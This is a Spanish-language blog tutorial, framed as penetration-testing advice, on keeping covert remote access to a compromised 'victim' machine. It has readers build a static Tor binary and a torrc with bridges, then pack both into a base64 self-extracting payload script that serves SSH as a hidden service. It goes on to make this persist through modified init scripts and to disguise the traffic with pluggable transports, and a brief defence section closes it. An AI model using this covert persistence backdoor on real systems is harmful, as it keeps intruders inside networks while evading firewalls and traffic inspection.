Cuando las direcciones IP que se utilizas
para mantener el acceso remoto son bloqueadas o descubiertas, si no estás listo
fracasaras y darás vuelta al punto de partida. Dependiendo de qué tan juguetón
es tu adversario, ellos pueden incluso tratar de saber quién es el
propietario de esas direcciones IP.
Introduzca
Tor – una solución simple. La red Tor se puede aprovechar para mantener el
acceso a los servidores comprometidos. Según curso de seguridad en redes,
el uso de la red Tor puede ser utilizado para ejecutar los servicios ocultos.
Podríamos conectarnos a nuestra victima infectada mediante el procedimiento
siguiente:
ssh -i
/path/to/key -p2222 someuser@ab88t3k7eqe66noe.onion
Esta
conexión se retransmitirá anónimamente a través de la red Tor, sin pasar por
las reglas del firewall, y potencialmente incluso por proxies y la inspección
de contenido confirman consultores de pruebas de penetración.
Usando
lo anterior con un túnel SSH; podemos hacer todo tipo de cosas grandes.
En una
máquina Windows, podría lograrse algo similar mediante la apertura del puerto
SMB 445 o puerto RDP 3389 a la red Tor.
¿CÓMO
HACERLO?
Vamos a
hacer esto en un nuevo Kali 2.0. El primer paso para la compilación de Tor es
descargar y extraer la fuente y la instalación de las dependencias requeridas:
Vamos a
construir Tor normalmente ejecutando los siguientes dos comandos en
serie:
./configure
make
Ahora
vamos a ir a ver el binario Tor que acaba de ser construido por nosotros usando
el comando “ldd” “. “Ldd” nos dirá lo que comparten las bibliotecas que se
cargan por el binario, para un binario estático no debe haber ninguna.
cd src/or
ldd tor
linux-vdso.so.1
(0x00007ffe02d00000)
libz.so.1
=> /lib/x86_64-linux-gnu/libz.so.1 (0x00007fd6982c3000)
libm.so.6
=> /lib/x86_64-linux-gnu/libm.so.6 (0x00007fd697fc2000)
libevent-2.0.so.5
=> /usr/lib/x86_64-linux-gnu/libevent-2.0.so.5 (0x00007fd697d7a000)
libssl.so.1.0.0
=> /usr/lib/x86_64-linux-gnu/libssl.so.1.0.0 (0x00007fd697b1a000)
libcrypto.so.1.0.0
=> /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.0 (0x00007fd69771f000)
libpthread.so.0
=> /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fd697502000)
libdl.so.2
=> /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd6972fe000)
libc.so.6
=> /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd696f55000)
/lib64/ld-linux-x86-64.so.2
(0x00007fd6988b7000)
gcc -O2
-static -Wall -fno-strict-aliasing -L/usr/lib/x86_64-linux-gnu/ -o tor
tor_main.o ./libtor.a ../common/libor.a ../common/libor-crypto.a
../common/libcurve25519_donna.a ../common/libor-event.a
/usr/lib/x86_64-linux-gnu/libz.a -lm /usr/lib/x86_64-linux-gnu/libevent.a -lrt
/usr/lib/x86_64-linux-gnu/libssl.a /usr/lib/x86_64-linux-gnu/libcrypto.a
-lpthread -ldl
Si
corremos “ldd” contra el nuevo binario:
ldd tor
not a
dynamic executable
¡Eso
significa que funcionó!
CONFIGURACIÓN
DE TOR
Tor
está configurado en tiempo de ejecución apuntando a un archivo de
configuración, normalmente se llama “torrc”. Un ejemplo de archivo torrc se
muestra a continuación:
Bridge
176.182.30.145:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515
Bridge
37.59.47.27:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834
Bridge
192.36.27.122:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589
UseBridges 1
SocksPort 9050
SocksListenAddress
127.0.0.1
HiddenServiceDir
./.hs/
HiddenServicePort
2222 127.0.0.1:22
Obtuvimos
anteriormente “bridges” de bridges.torproject.org. Probablemente deberías
obtener tus propios y reemplazarlos. Tenga en cuenta que si hay puertos TCP
específicos permitidos saliente en su entorno, debes encontrar un bridge que se
ejecute en los puertos explica consultor de pruebas
de penetración.
Para
ejecutar el servicio oculto para la prueba ejecuta lo siguiente:
./tor -f
/path/to/torrc
Un
nuevo directorio será creado, llamado “.hs”, en ese directorio habrá un archivo
llamado “hostname”. Si nos fijamos en el contenido de este archivo veremos la
dirección “.onion” donde se puede acceder a su servicio oculto.
cat
./hs/hostname
ab88t3k7eqe66noe.onion
Suponiendo
que el servicio SSH está ejecutando en la máquina, debemos ser capaces de
conectarnos a él desde otro ordenador a través de la red Tor de la siguiente
manera:
ssh -p2222
user@ab88t3k7eqe66noe.onion
El
comando anterior requiere que tengas una máquina conectada a la red Tor que
esté encaminando correctamente todo el tráfico TCP a través de Tor. La forma
más sencilla de hacer esto según curso de seguridad en redes es ejecutar de un
VM que haya configurado previamente esto por ti, como Tails o Whonix.
CREANDO
UN PLAYLOAD
Vamos a
crear un buen Playload que agrupe todas estas cosas en un bash script.
En
primer lugar vamos a copiar el archivo binario de “tor” y nuestro archivo
“torrc” a un nuevo directorio:
mkdir ~/payload
cp tor torrc
~/payload
cd ~/payload
Tor
requiere que el sistema lo ejecute, para tener un reloj preciso. Según curso de
seguridad en redes, una forma de solucionar esto es usar las cabeceras HTTP de
sitios web conocidos.
Todo
esto está automatizado por un script en Perl escrito por expertos de pruebas de penetración,
por lo que vamos a utilizar.
wget http://www.rkeene.org/devel/htp/mirror/archive/perl/htp-0.9.3.tar.gz
tar xzvf
htp-0.9.3.tar.gz
cp
htp-0.9.3/sbin/htpdate-light .
Vamos a
comprimir nuestros binarios en un archivo comprimido para reducir el tamaño de
carga útil.
tar
cvzf binaries.tar.gz tor htpdate-light
Ahora
vamos a crear nuestro script de playload, vamos a codificar el archivo con
base64 y crear un nuevo script “payload.sh”:
echo ‘#!/bin/sh’
> payload.sh
echo -n
‘torbin=’ >> payload.sh
cat
binaries.tar.gz | base64 -w 0 >> payload.sh
Ahora
abre “payload.sh” en el editor de texto y pegue el resto de la secuencia de
comandos que hay:
tar xzvf
binaries.tar.gz
rm
binaries.tar.gz
chmod +x tor
echo ‘
Bridge
176.182.30.145:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515
Bridge
37.59.47.27:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834
Bridge
192.36.27.122:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589
UseBridges 1
SocksPort 9050
SocksListenAddress
127.0.0.1
HiddenServiceDir
./.hs/
HiddenServicePort
2222 127.0.0.1:22
‘ > ./torrc
perl
./htpdate-light google.com
./tor -f
./torrc
Para
ejecutar el script
bash payload.sh
Se debe
encender el servicio oculto Tor y enlazarlo al oyente SSH. Según curso de
seguridad en redes, sólo tenemos que copiar el nombre de host que se genera en
./.hs/hostname y conectarse a través de ssh.
YENDO
PERSISTENTE
Si
deseas que este se inicie en el reinicio del sistema y tendrás la acceso root a
la máquina, para la forma más fácil es simplemente modificar un script de
inicio existente. Según recomendaciones de expertos de pruebas de penetración,
lo ideal sería copiar los archivos binarios y archivos de configuración de Tor
a un lugar poco visible, y luego modificar la secuencia de comandos “init” para
que Tor se ejecute cuando se inicia el sistema.
EVADIR
PROTOCOLO DE INSPECCIÓN Y OFUSCAR EL TRÁFICO
Acuerdo
a expertos de pruebas de penetración, Tor se puede configurar con ofuscación y
pluggable transports para hacer que el tráfico vea algo como no lo es. También
hay opciones que pueden configurar en el archivo “torrc” para impulsar el
tráfico a través de un servidor proxy. Usted puede aprender más acerca de este
durante el curso de seguridad en redes.
¿CÓMO
PROTEGERSE?
Por
desgracia, este tipo de ataque es difícil de bloquear a nivel de red – es por
eso es que lo usamos. Usando pluggable transports y / o puentes de Tor bridges,
un experto de prueba de penetración puede ocultar el tráfico para que aparezca
como HTTP o HTTPS regulares, e incluso puede dirigirlo, a través de tu proxy
corporativa utilizando algunas opciones en el archivo “torrc”.
Según
maestros de curso de seguridad en redes El primer paso es para asegurar que el
tráfico de salida TCP está siendo correctamente filtrado. Todo el tráfico de
salida debe ser forzado a través del proxy corporativo.
Los
sistemas de inspección de paquetes en proxy pararán ingenuos intentos en este
tipo de ataque, según maestros de curso de seguridad en redes. Además aletas
deben estar configurados por las conexiones de Tor detectadas.
0 comments:
Post a Comment